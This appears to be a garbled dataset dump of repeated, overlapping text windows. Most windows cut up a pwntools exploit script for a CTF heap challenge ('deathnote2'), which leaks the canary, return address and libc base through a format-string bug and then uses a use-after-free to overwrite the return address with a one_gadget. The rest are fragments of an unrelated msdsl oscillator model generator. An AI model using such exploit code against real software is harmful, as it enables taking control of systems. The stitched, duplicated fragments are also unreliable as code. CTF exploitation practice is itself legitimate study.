epitopedb.items(): ps = v['peptide_state'] keys =" ]
[ "the first chunk's size will emerge a bug that its size equals the", "og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index))", "libc_base/ret_addr/canary from pwn import * from binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me", "name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16)", "r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye():", "to AnyMemWrite with the fake_fd # Meanwhile, fsb can leak libc_base/ret_addr/canary from pwn", "log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830", "equals the sum of the two chunks # Use this bug to override", "r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1)))", "locally # After two big chunks freed and combined, the first chunk's size", "# And this UAF lead to AnyMemWrite with the fake_fd # Meanwhile, fsb", "def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index))", "leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size))", "# After two big chunks freed and combined, the first chunk's size will", "pwn import * from binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p')", "big chunks freed and combined, the first chunk's size will emerge a bug", "r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1", "bug to override and lead to UAF # And this UAF lead to", "leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4", "r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16)", "leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216", "a bug that its size equals the sum of the two chunks #", "r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1')", "and lead to UAF # And this UAF lead to AnyMemWrite with the", "# Meanwhile, fsb can leak libc_base/ret_addr/canary from pwn import * from binascii import", "WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def", "and combined, the first chunk's size will emerge a bug that its size", "this bug to override and lead to UAF # And this UAF lead", "its size equals the sum of the two chunks # Use this bug", "r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2')", "def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8))", "Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination DeleteName(2) DeleteName(1) WriteName(0x1a0,'1'*0xd0+p64(0xe0)+p64(fake_fd))#_1", "log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def", "that its size equals the sum of the two chunks # Use this", "first chunk's size will emerge a bug that its size equals the sum", "r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1", "size will emerge a bug that its size equals the sum of the", "from pwn import * from binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your", "<filename>PWN/2018WangDing/2018WangDing-3/pwn3-note2/exp3.py<gh_stars>10-100 # Pwned locally # After two big chunks freed and combined, the", "og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index):", "og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3')", "chunks # Use this bug to override and lead to UAF # And", "the two chunks # Use this bug to override and lead to UAF", "r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f", "chunk's size will emerge a bug that its size equals the sum of", "to override and lead to UAF # And this UAF lead to AnyMemWrite", "log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content):", "Meanwhile, fsb can leak libc_base/ret_addr/canary from pwn import * from binascii import *", "me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr)))", "your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x')", "leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n')", "After two big chunks freed and combined, the first chunk's size will emerge", "libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content)", "binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00')", "name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16)", "payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination DeleteName(2) DeleteName(1) WriteName(0x1a0,'1'*0xd0+p64(0xe0)+p64(fake_fd))#_1 WriteName(0xc0,'22222222')#_2 WriteName(0x50,payload)#4 Bye()", "size equals the sum of the two chunks # Use this bug to", "will emerge a bug that its size equals the sum of the two", "bug that its size equals the sum of the two chunks # Use", "override and lead to UAF # And this UAF lead to AnyMemWrite with", "# Pwned locally # After two big chunks freed and combined, the first", "of the two chunks # Use this bug to override and lead to", "UAF lead to AnyMemWrite with the fake_fd # Meanwhile, fsb can leak libc_base/ret_addr/canary", "leak libc_base/ret_addr/canary from pwn import * from binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell", "emerge a bug that its size equals the sum of the two chunks", "Use this bug to override and lead to UAF # And this UAF", "UAF # And this UAF lead to AnyMemWrite with the fake_fd # Meanwhile,", "def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination DeleteName(2) DeleteName(1)", "to UAF # And this UAF lead to AnyMemWrite with the fake_fd #", "r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x')", "r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination DeleteName(2) DeleteName(1) WriteName(0x1a0,'1'*0xd0+p64(0xe0)+p64(fake_fd))#_1 WriteName(0xc0,'22222222')#_2", "the sum of the two chunks # Use this bug to override and", "* r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak')", "WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination DeleteName(2) DeleteName(1) WriteName(0x1a0,'1'*0xd0+p64(0xe0)+p64(fake_fd))#_1 WriteName(0xc0,'22222222')#_2 WriteName(0x50,payload)#4 Bye() r.interactive()", "lead to UAF # And this UAF lead to AnyMemWrite with the fake_fd", "log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base)))", "this UAF lead to AnyMemWrite with the fake_fd # Meanwhile, fsb can leak", "with the fake_fd # Meanwhile, fsb can leak libc_base/ret_addr/canary from pwn import *", "fsb can leak libc_base/ret_addr/canary from pwn import * from binascii import * r=process('./deathnote2')", "from binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your", "ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0", "And this UAF lead to AnyMemWrite with the fake_fd # Meanwhile, fsb can", "me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary)))", "two big chunks freed and combined, the first chunk's size will emerge a", "the fake_fd # Meanwhile, fsb can leak libc_base/ret_addr/canary from pwn import * from", "log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index):", "r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination", "* from binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me", "chunks freed and combined, the first chunk's size will emerge a bug that", "can leak libc_base/ret_addr/canary from pwn import * from binascii import * r=process('./deathnote2') r.send('\\n')", "combined, the first chunk's size will emerge a bug that its size equals", "your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x')", "two chunks # Use this bug to override and lead to UAF #", "fake_fd # Meanwhile, fsb can leak libc_base/ret_addr/canary from pwn import * from binascii", "r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def ShowName(index): r.sendlineafter('choice>>','3') r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4')", "r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a", "og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def WriteName(size,content): r.sendlineafter('choice>>','1') r.sendlineafter('Size:',str(size)) r.sendlineafter('Name:',content) def", "sum of the two chunks # Use this bug to override and lead", "DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid", "retaddr=leak0-0xd8 log.success('ReturnAddr='+str(hex(retaddr))) r.recvuntil('0x') leak1=int(r.recv(16),16) canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147", "# Use this bug to override and lead to UAF # And this", "r.sendlineafter('Page:',str(index)) def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2", "Pwned locally # After two big chunks freed and combined, the first chunk's", "import * from binascii import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell", "freed and combined, the first chunk's size will emerge a bug that its", "lead to AnyMemWrite with the fake_fd # Meanwhile, fsb can leak libc_base/ret_addr/canary from", "def DeleteName(index): r.sendlineafter('choice>>','2') r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3", "AnyMemWrite with the fake_fd # Meanwhile, fsb can leak libc_base/ret_addr/canary from pwn import", "import * r=process('./deathnote2') r.send('\\n') #r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb", "canary=leak1 log.success('Canary='+str(hex(canary))) r.recvuntil('(nil)0x') leak2=int(r.recv(12),16) libc_base=leak2-0x20830 og1=libc_base+0x45216 og2=libc_base+0x4526a og3=libc_base+0xf02a4 og4=libc_base+0xf1147 log.success('LibcBase='+str(hex(libc_base))) log.success('OneGadget='+str(hex(og1))) r.recvuntil('Invalid!\\n') def", "#r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p') r.sendlineafter('tell me your name:','%p%p%p%p%p%p%p%p%p%p%p%p%p\\x00\\x00\\x00\\x00\\x00') log.success('fsb leak') r.recvuntil('0x70250x') leak0=int(r.recv(12),16) retaddr=leak0-0xd8", "fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination DeleteName(2) DeleteName(1) WriteName(0x1a0,'1'*0xd0+p64(0xe0)+p64(fake_fd))#_1 WriteName(0xc0,'22222222')#_2 WriteName(0x50,payload)#4", "r.sendlineafter('Page:',str(index)) def Bye(): r.sendlineafter('choice>>','4') fake_fd=retaddr-0x1f payload=p64(canary>>8)+p64((og1&0xff)<<56)+p64((0x01<<56)+(og1>>8)) WriteName(32,'00000000')#0 WriteName(192,'11111111')#1 WriteName(192,'22222222')#2 WriteName(32,'33333333')#3 avoid combination DeleteName(2)" ]
[ "model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo',", "import if_ def main(): print('Running model generator...') # parse command line arguments parser", "# parse command line arguments parser = ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt',", "m.emu_dt) # update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant,", "if the request was granted m.bind_name('req_grant', m.dt_req == m.emu_dt) # update the clock", "# determine the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst,", "command line arguments parser = ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6)", "msdsl.expr.extras import if_ def main(): print('Running model generator...') # parse command line arguments", "parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args() # create the model m = MixedSignalModel('osc',", "period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the time request m.bind_name('dt_req_incr', m.dt_req -", "time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine the next period m.bind_name('dt_req_imm', if_(m.req_grant,", "determine the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False)", "the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) #", "default=0.1e-6) a = parser.parse_args() # create the model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk')", "a = parser.parse_args() # create the model m = MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst')", "m.add_digital_input('t_hi', 32) # determine if the request was granted m.bind_name('req_grant', m.dt_req == m.emu_dt)", "MixedSignalModel('osc', dt=a.dt) m.add_digital_input('emu_clk') m.add_digital_input('emu_rst') m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32)", "# determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the time", "- m.emu_dt) # determine the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm,", "request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next,", "value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the", "print('Running model generator...') # parse command line arguments parser = ArgumentParser() parser.add_argument('-o', '--output',", "will be written to: {filename}') # generate the model m.compile_to_file(VerilogGenerator(), filename) if __name__", "= ArgumentParser() parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args() #", "m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the output filename filename = Path(a.output).resolve() /", "Path(a.output).resolve() / f'{m.module_name}.sv' print(f'Model will be written to: {filename}') # generate the model", "import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_ def main(): print('Running model generator...') #", "MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_ def main(): print('Running model generator...') # parse", "import ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator from msdsl.expr.extras import if_ def main():", "m.add_digital_output('dt_req', 32) m.add_digital_input('emu_dt', 32) m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine if the", "m.dt_req == m.emu_dt) # update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst)", "== m.emu_dt) # update the clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val,", "m.add_digital_output('clk_val') m.add_digital_input('t_lo', 32) m.add_digital_input('t_hi', 32) # determine if the request was granted m.bind_name('req_grant',", "clock value m.add_digital_state('prev_clk_val') m.set_next_cycle(m.prev_clk_val, m.clk_val, clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine", "~m.prev_clk_val, m.prev_clk_val)) # determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment", "m.emu_dt) # determine the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk,", "from pathlib import Path from argparse import ArgumentParser from msdsl import MixedSignalModel, VerilogGenerator", "next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the time request m.bind_name('dt_req_incr', m.dt_req", "the request was granted m.bind_name('req_grant', m.dt_req == m.emu_dt) # update the clock value", "clk=m.emu_clk, rst=m.emu_rst) m.set_this_cycle(m.clk_val, if_(m.req_grant, ~m.prev_clk_val, m.prev_clk_val)) # determine the next period m.bind_name('dt_req_next', if_(m.prev_clk_val,", "the time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine the next period m.bind_name('dt_req_imm',", "m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine the next period m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr))", "m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt)", "m.bind_name('dt_req_imm', if_(m.req_grant, m.dt_req_next, m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the output", "parser.add_argument('-o', '--output', type=str, default='build') parser.add_argument('--dt', type=float, default=0.1e-6) a = parser.parse_args() # create the", "from msdsl.expr.extras import if_ def main(): print('Running model generator...') # parse command line", "m.dt_req_incr)) m.set_next_cycle(m.dt_req, m.dt_req_imm, clk=m.emu_clk, rst=m.emu_rst, check_format=False) # determine the output filename filename =", "the next period m.bind_name('dt_req_next', if_(m.prev_clk_val, m.t_lo, m.t_hi)) # increment the time request m.bind_name('dt_req_incr',", "# increment the time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine the next", "increment the time request m.bind_name('dt_req_incr', m.dt_req - m.emu_dt) # determine the next 